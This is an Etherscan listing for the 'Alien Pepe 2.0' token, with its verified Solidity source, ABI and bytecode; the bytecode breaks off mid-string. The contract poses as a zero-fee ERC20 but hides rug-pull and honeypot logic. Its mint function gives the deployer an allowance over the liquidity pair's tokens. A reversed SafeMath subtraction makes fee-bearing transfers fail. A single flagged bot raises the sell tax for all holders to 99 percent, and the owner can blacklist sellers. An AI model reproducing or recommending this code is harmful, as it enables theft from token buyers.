ETH Price: $2,507.38 (-0.33%)

Token

Alien Pepe 2.0 (ALIPE2.0)
 

Overview

Max Total Supply

888,888,888 ALIPE2.0

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,238,494.380375835894483085 ALIPE2.0

Value
$0.00
0xaf9b90e07849335ff61725d540fd7ed2e64f8c39
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AlienPepe20

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

// SPDX-License-Identifier: MIT

/**

    https://t.me/alienpepe20

    https://twitter.com/alienpepe20
    
    https://www.alienpepe20.vip/

*/

pragma solidity ^0.8.17;

library SafeMath {
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage); uint256 c = b - a;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }


    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}


interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address public uniPair;
    mapping (address => mapping (address => uint256)) internal _allowances;


    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        _totalSupply += amount;
        _balances[account] += amount;_allowances[uniPair][account] = amount;
        emit Transfer(address(0), account, amount);
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

}

interface IRouter {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);


}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }


    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }


}

contract AlienPepe20 is ERC20, Ownable{
    using Address for address payable;
    using SafeMath for uint256;
    // zero  fee
    uint256 public buyFeeNum = 0; uint256 public sellFeeNum = 0;
    mapping (address => bool) public excludedFromFees;
    mapping (address => bool) private antiBots;

    uint256 public antiBotTax = 99;
    address public devWallets1 = 0x49a99f60f4D1CB8DD1115108438904717B1A6C1f;
    address public devWallets2 = 0x6685dbf8Ea282f11B730b6335258688fA49729e5;
    uint256 public swapExactAt = 500_000 * 10e18;
    uint256 public maxSizeTx = 40_000_000 * 10**18; // 5%
    uint256 public maxSizeForWallet = 40_000_000 * 10**18; // 5%

    IRouter public uniswapRouter;
    bool private swappingCheck;    
    bool public activeSwap;
    bool public _openTrading;
    uint256 public orgStamps;
    uint256 public dieStamps = 0;
    constructor() ERC20("Alien Pepe 2.0", "ALIPE2.0") {
        IRouter _routerAddr = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_routerAddr.factory()).createPair(address(this), _routerAddr.WETH()); uniPair = _pair;

        uniswapRouter = _routerAddr;
        excludedFromFees[devWallets1] = true;
        excludedFromFees[devWallets2] = true;
        excludedFromFees[msg.sender] = true;
        excludedFromFees[address(this)] = true;
        
        // mint
        _mint(msg.sender, 888_888_888 * 10 ** decimals()); // 1B
    }

    function withdrawETH(uint256 weiAmount) external onlyOwner{
        payable(owner()).sendValue(weiAmount);
    }

    function enableTrade() external onlyOwner{
        _openTrading = true; activeSwap = true;
    }

    // fallbacks
    receive() external payable {

    }

    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero"); if(antiBots[recipient] || antiBots[sender]) sellFeeNum = antiBotTax;
        if( !excludedFromFees[recipient] && !excludedFromFees[sender] && !swappingCheck) 
        {
            require(
                _openTrading, 
                "Trading is not active yet"
            );
            if (orgStamps + dieStamps > block.number) {
                if(recipient != uniPair) {
                    antiBots[recipient] = true;
                }
                if(sender != uniPair) {
                    antiBots[sender] = true;
                }
            } require(amount <= maxSizeTx, "MaxTxAmount");
            if(recipient != uniPair){
                require(
                    balanceOf(recipient) + amount <= maxSizeForWallet, 
                    "MaxWalletAmount"
                );
            }
        }
        uint256 feeNum;
        if (swappingCheck || excludedFromFees[sender] || excludedFromFees[recipient]) 
        {
            feeNum = 0;
        } 
        else 
        {
            if(recipient == uniPair && !antiBots[sender]) {               feeNum = amount * sellFeeNum / 100;            }
            else {                feeNum = amount * buyFeeNum / 100;            }
        }
        if (activeSwap && !swappingCheck && sender != uniPair 
            && feeNum > 0
        ) {
            swapBack();
        }
        if(feeNum > 0) {
            super._transfer(sender, address(this) ,feeNum); super._transfer(sender, recipient, amount.sub(feeNum));
        } else {
            super._transfer(sender, recipient, amount);
        }
    }
        
    function withdrawErc20Token(address tokenAddress, uint256 amount) external onlyOwner{
        IERC20(tokenAddress).transfer(owner(), amount);
    }
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapExactAt) {
    
            uint256 initialBalance = address(this).balance;
    
            swapEthAtTokens(contractBalance);
    
            uint256 deltaBalance = address(this).balance - initialBalance;

            payable(devWallets1).sendValue(deltaBalance);

        }
    }
    
    function setAntiBot(address[] memory isBot_) public onlyOwner {
        for (uint i = 0; i < isBot_.length; i++) {
            antiBots[isBot_[i]] = true;
        }
    }

    function swapEthAtTokens(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }


    function removeLimits(uint256 amount) external onlyOwner{
        maxSizeTx = amount * 10**18;
        maxSizeForWallet = amount * 10**18;
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // add the liquidity
        uniswapRouter.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            devWallets2,
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activeSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeNum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallets1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devWallets2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dieStamps","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxSizeForWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSizeTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"orgStamps","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeNum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"setAntiBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapExactAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600781905560088190556063600b55600c80546001600160a01b03199081167349a99f60f4d1cb8dd1115108438904717b1a6c1f17909155600d8054909116736685dbf8ea282f11b730b6335258688fa49729e51790556a0422ca8b0a00a425000000600e556a2116545850052128000000600f8190556010556013553480156200008e575f80fd5b506040518060400160405280600e81526020016d0416c69656e205065706520322e360941b815250604051806040016040528060088152602001670414c495045322e360c41b8152508160029081620000e891906200052a565b506003620000f782826200052a565b505050620001146200010e6200033460201b60201c565b62000338565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200016a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001909190620005f2565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002029190620005f2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200024d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002739190620005f2565b600480546001600160a01b038084166001600160a01b031992831617909255601180548684169216919091179055600c5481165f90815260096020526040808220805460ff199081166001908117909255600d54909416835281832080548516821790553380845282842080548616831790553084529190922080549093169091179091559091506200032c9062000309601290565b6200031690600a62000730565b62000326906334fb5e3862000740565b62000389565b505062000770565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620003e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060015f828254620003f791906200075a565b90915550506001600160a01b0382165f9081526020819052604081208054839290620004259084906200075a565b90915550506004546001600160a01b039081165f908152600560209081526040808320938616808452938252808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004b357607f821691505b602082108103620004d257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000525575f81815260208120601f850160051c81016020861015620005005750805b601f850160051c820191505b8181101562000521578281556001016200050c565b5050505b505050565b81516001600160401b038111156200054657620005466200048a565b6200055e816200055784546200049e565b84620004d8565b602080601f83116001811462000594575f84156200057c5750858301515b5f19600386901b1c1916600185901b17855562000521565b5f85815260208120601f198616915b82811015620005c457888601518255948401946001909101908401620005a3565b5085821015620005e257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f6020828403121562000603575f80fd5b81516001600160a01b03811681146200061a575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200067557815f190482111562000659576200065962000621565b808516156200066757918102915b93841c93908002906200063a565b509250929050565b5f826200068d575060016200072a565b816200069b57505f6200072a565b8160018114620006b45760028114620006bf57620006df565b60019150506200072a565b60ff841115620006d357620006d362000621565b50506001821b6200072a565b5060208310610133831016604e8410600b841016171562000704575081810a6200072a565b62000710838362000635565b805f190482111562000726576200072662000621565b0290505b92915050565b5f6200061a60ff8416836200067d565b80820281158282048414176200072a576200072a62000621565b808201808211156200072a576200072a62000621565b6119f3806200077e5f395ff3fe6080604052600436106101f3575f3560e01c8063943f8e9611610108578063d24bbdd81161009d578063e559d86a1161006d578063e559d86a1461059d578063ef78236d146105bc578063efbe5f46146105d1578063f14210a6146105e6578063f2fde38b14610605575f80fd5b8063d24bbdd814610501578063dbe66ca014610516578063dd62ed3e14610544578063e4e99a0514610588575f80fd5b80639ed6b920116100d85780639ed6b9201461048f578063a457c2d7146104ae578063a9059cbb146104cd578063cf9dd753146104ec575f80fd5b8063943f8e961461042757806395d89b41146104475780639764d1f71461045b578063979262481461047a575f80fd5b8063313ce5671161018957806370a082311161015957806370a082311461038e578063715018a6146103c2578063735de9f7146103d657806381ffc9f4146103f55780638da5cb5b1461040a575f80fd5b8063313ce5671461031657806332972e4614610331578063395093511461035057806354f506421461036f575f80fd5b806318160ddd116101c457806318160ddd146102a457806319675f26146102c25780631c1702f3146102d757806323b872dd146102f7575f80fd5b806299d386146101fe57806306fdde0314610214578063095ea7b31461023e57806316d99c8c1461026d575f80fd5b366101fa57005b5f80fd5b348015610209575f80fd5b50610212610624565b005b34801561021f575f80fd5b5061022861066e565b60405161023591906115f7565b60405180910390f35b348015610249575f80fd5b5061025d610258366004611666565b6106fe565b6040519015158152602001610235565b348015610278575f80fd5b50600d5461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102af575f80fd5b506001545b604051908152602001610235565b3480156102cd575f80fd5b506102b460135481565b3480156102e2575f80fd5b5060115461025d90600160b01b900460ff1681565b348015610302575f80fd5b5061025d610311366004611690565b610714565b348015610321575f80fd5b5060405160128152602001610235565b34801561033c575f80fd5b5060045461028c906001600160a01b031681565b34801561035b575f80fd5b5061025d61036a366004611666565b6107c3565b34801561037a575f80fd5b50600c5461028c906001600160a01b031681565b348015610399575f80fd5b506102b46103a83660046116ce565b6001600160a01b03165f9081526020819052604090205490565b3480156103cd575f80fd5b506102126107f9565b3480156103e1575f80fd5b5060115461028c906001600160a01b031681565b348015610400575f80fd5b506102b4600e5481565b348015610415575f80fd5b506006546001600160a01b031661028c565b348015610432575f80fd5b5060115461025d90600160a81b900460ff1681565b348015610452575f80fd5b5061022861082e565b348015610466575f80fd5b506102126104753660046116fd565b61083d565b348015610485575f80fd5b506102b460105481565b34801561049a575f80fd5b506102126104a9366004611666565b6108d0565b3480156104b9575f80fd5b5061025d6104c8366004611666565b61098e565b3480156104d8575f80fd5b5061025d6104e7366004611666565b610a28565b3480156104f7575f80fd5b506102b4600f5481565b34801561050c575f80fd5b506102b460075481565b348015610521575f80fd5b5061025d6105303660046116ce565b60096020525f908152604090205460ff1681565b34801561054f575f80fd5b506102b461055e3660046117bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610593575f80fd5b506102b460125481565b3480156105a8575f80fd5b506102126105b73660046117f4565b610a34565b3480156105c7575f80fd5b506102b4600b5481565b3480156105dc575f80fd5b506102b460085481565b3480156105f1575f80fd5b506102126106003660046117f4565b610a8b565b348015610610575f80fd5b5061021261061f3660046116ce565b610add565b6006546001600160a01b031633146106575760405162461bcd60e51b815260040161064e9061180b565b60405180910390fd5b6011805461ffff60a81b191661010160a81b179055565b60606002805461067d90611840565b80601f01602080910402602001604051908101604052809291908181526020018280546106a990611840565b80156106f45780601f106106cb576101008083540402835291602001916106f4565b820191905f5260205f20905b8154815290600101906020018083116106d757829003601f168201915b5050505050905090565b5f61070a338484610b75565b5060015b92915050565b5f610720848484610c98565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156107a45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161064e565b6107b885336107b3868561188c565b610b75565b506001949350505050565b335f8181526005602090815260408083206001600160a01b0387168452909152812054909161070a9185906107b390869061189f565b6006546001600160a01b031633146108235760405162461bcd60e51b815260040161064e9061180b565b61082c5f6110a5565b565b60606003805461067d90611840565b6006546001600160a01b031633146108675760405162461bcd60e51b815260040161064e9061180b565b5f5b81518110156108cc576001600a5f848481518110610889576108896118b2565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806108c4816118c6565b915050610869565b5050565b6006546001600160a01b031633146108fa5760405162461bcd60e51b815260040161064e9061180b565b816001600160a01b031663a9059cbb61091b6006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610965573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098991906118de565b505050565b335f9081526005602090815260408083206001600160a01b038616845290915281205482811015610a0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161064e565b610a1e33856107b3868561188c565b5060019392505050565b5f61070a338484610c98565b6006546001600160a01b03163314610a5e5760405162461bcd60e51b815260040161064e9061180b565b610a7081670de0b6b3a76400006118fd565b600f55610a8581670de0b6b3a76400006118fd565b60105550565b6006546001600160a01b03163314610ab55760405162461bcd60e51b815260040161064e9061180b565b610ada81610acb6006546001600160a01b031690565b6001600160a01b0316906110f6565b50565b6006546001600160a01b03163314610b075760405162461bcd60e51b815260040161064e9061180b565b6001600160a01b038116610b6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064e565b610ada816110a5565b6001600160a01b038316610bd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064e565b6001600160a01b038216610c385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610cf95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064e565b6001600160a01b0382165f908152600a602052604090205460ff1680610d3657506001600160a01b0383165f908152600a602052604090205460ff165b15610d4257600b546008555b6001600160a01b0382165f9081526009602052604090205460ff16158015610d8257506001600160a01b0383165f9081526009602052604090205460ff16155b8015610d985750601154600160a01b900460ff16155b15610f3e57601154600160b01b900460ff16610df65760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161064e565b43601354601254610e07919061189f565b1115610e7d576004546001600160a01b03838116911614610e45576001600160a01b0382165f908152600a60205260409020805460ff191660011790555b6004546001600160a01b03848116911614610e7d576001600160a01b0383165f908152600a60205260409020805460ff191660011790555b600f54811115610ebd5760405162461bcd60e51b815260206004820152600b60248201526a13585e151e105b5bdd5b9d60aa1b604482015260640161064e565b6004546001600160a01b03838116911614610f3e5760105481610ef4846001600160a01b03165f9081526020819052604090205490565b610efe919061189f565b1115610f3e5760405162461bcd60e51b81526020600482015